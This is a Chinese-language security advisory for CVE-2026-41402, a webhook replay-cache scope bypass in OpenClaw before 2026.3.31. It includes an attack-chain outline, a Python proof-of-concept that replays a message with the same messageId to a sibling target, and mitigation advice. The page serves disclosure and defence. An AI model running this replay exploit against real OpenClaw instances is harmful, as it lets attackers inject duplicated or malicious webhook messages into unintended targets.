IPBUF安全漏洞报告
English
CVE-2026-41402 CVSS 4.2 中危

CVE-2026-41402 OpenClaw Webhook重放缓存作用域绕过漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41402
漏洞类型
逻辑漏洞
CVSS评分
4.2 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

逻辑漏洞重放攻击OpenClawWebhook权限绕过

漏洞概述

OpenClaw在2026.3.31之前的版本中存在一个安全漏洞,涉及webhook重放缓存去重机制的作用域绕过。该漏洞允许经过身份验证的攻击者利用相同的messageId,向兄弟目标重放消息。由于缓存键的设置过于宽泛,攻击者可以利用此缺陷绕过重放保护机制,从而将重复的webhook消息投递到非预期的目标,可能导致数据完整性受损或信息泄露。

技术细节

该漏洞的根源在于OpenClaw处理webhook消息时的缓存去重逻辑存在缺陷。系统通常使用messageId作为缓存键来防止消息重放攻击,但在受影响版本中,缓存键生成的粒度不够精细,仅基于messageId而未充分区分目标上下文,导致作用域控制失效。具体而言,当OpenClaw配置了多个目标(即兄弟目标)时,攻击者只需拥有低权限账号,即可截获发往目标A的webhook消息并提取其messageId。随后,攻击者向目标B发送包含相同messageId的恶意请求。由于去重缓存认为该messageId已处理(或仅检查了messageId的存在性而未绑定特定目标),系统错误地接受了发往目标B的重放消息。这种逻辑缺陷使得攻击者能够绕过预期的安全边界,向未预期的接收者注入恶意负载或重复数据,破坏系统的业务逻辑完整性。

攻击链分析

STEP 1
步骤1
攻击者获取OpenClaw的低权限账号,并能够访问webhook端点。
STEP 2
步骤2
攻击者向目标A发送一个合法的webhook消息,并记录下该消息的messageId,此时该ID被存入缓存。
STEP 3
步骤3
攻击者保持相同的messageId,向目标B(兄弟目标)发送相同的webhook请求。
STEP 4
步骤4
由于缓存键未区分目标,系统未能识别出这是针对不同目标的重放攻击,接受了该请求,导致绕过重放保护。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_A_URL = "https://openclaw-instance/api/webhook/target_a" TARGET_B_URL = "https://openclaw-instance/api/webhook/target_b" ATTACKER_TOKEN = "<low_privilege_token>" HEADERS = { "Content-Type": "application/json", "Authorization": f"Bearer {ATTACKER_TOKEN}" } # Payload with a specific MessageId intended for Target A payload = { "messageId": "msg-unique-id-12345", "content": "Malicious or replayed data" } print("[*] Step 1: Sending message to Target A to populate cache...") response_a = requests.post(TARGET_A_URL, json=payload, headers=HEADERS) print(f"[*] Target A Response Status: {response_a.status_code}") print("[*] Step 2: Attempting to replay the same message to Target B...") # Using the exact same payload with the same messageId response_b = requests.post(TARGET_B_URL, json=payload, headers=HEADERS) print(f"[*] Target B Response Status: {response_b.status_code}") # Analysis if response_b.status_code == 200: print("[+] Vulnerability Confirmed: Message was successfully replayed to a sibling target.") print("[+] The cache deduplication scope is overly broad (bypassed).") else: print("[-] Exploit failed or target is patched.")

影响范围

OpenClaw < 2026.3.31

防御指南

临时缓解措施
建议立即检查系统配置,如果无法立即升级,可暂时禁用受影响的重放缓存功能或实施网络层隔离以限制不同目标间的消息转发路径,确保验证机制严格绑定目标上下文。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表